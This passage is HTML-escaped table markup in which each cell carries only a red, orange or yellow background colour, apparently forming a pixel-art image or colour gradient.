&lt;td style=&quot;background-color: #d76416; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c15815; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34e13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac4414; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa4213; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a43d0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c3910; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #953312; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f2d12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #872510; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #80210e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d1d0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b170f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b1715; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #831619; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1411; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f1407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d0805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #870002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a0005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #930c08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #930b00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971a0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #821c14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #701b10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d2711; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87280a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #99320a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad410a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c3570f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d76c1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e47d21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec8923; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f09527; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f59c29; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9a028; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fca327; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffa627; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffa927; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feae22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdb31e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fab71f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8bd22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8c11f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5c31a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #faca1d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9cc1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9d01a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #facb1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fac022; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcaf1f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fba31d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fb9d23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fd9923; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fd9720; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fa9323; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f58f25; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ef8928; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e78226; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df7620; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d6671a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c35315; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b33c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a22f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a2b11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d2a11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #963114; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a72b0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c0f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #920105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #890200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #932413; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #742112; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #732112; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97381a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a33806; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec7210; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fe9927; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffaf31; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffb72b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdbb26; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffb92a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffb82a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feb929; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdb827; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fabb26; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8be25; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7c221; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8c81f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9d021; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9d723; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9d824; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fadb23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9da1d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fada16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fada18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8d71b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f8ce1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fabf1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fab51e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fab121; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcae22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbac21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9ad23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcad26; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffac2a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffab2b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffa82b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffa02f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ff8d2d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e86111; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca4b0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f390e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #802811; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f340e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad4611; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f1c0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #8a0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #850204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0400; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #811409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1d0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c1f0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d2613; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a2813; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #913013; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e390d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac4811; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb5713; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c46417; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd731a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d57e1f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d98721; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de8e22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e39423; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e59623; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e79822; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e99920; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb981d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee9519; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec9415; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec9412; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea920f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb9015; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb8f18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb8f19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea8d1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e78f1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e58f1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e38e1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e08a19; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc851a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d87d1f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3761d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce6d1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c66318; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b6571b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a74916; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c3910; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #953110; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #982c10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d280f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d2b0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92250b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #8a0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c0005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #840105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #881202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a61c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab1f0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa2210; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa280f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a82d0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a6310d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa3711; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac3b11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac3f11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad4311; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4713; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14b14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44e16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b55016; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b55116; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b55316; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b75617; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b65615; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b65513; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b85516; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b95518; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b85419; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b75219; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b75217; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b75114; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b55013; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34e12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14a10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14510; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b1410f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b03c10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b03810; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b6310d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b42c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae2807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a92506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a21e06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #860c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #750503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #790001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #8f0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #920003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b0205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #770503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d0a01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #750e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #821002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f1503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a71b00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b12001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52b06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca3404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d03c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d54206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc4909; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc5107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df5807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
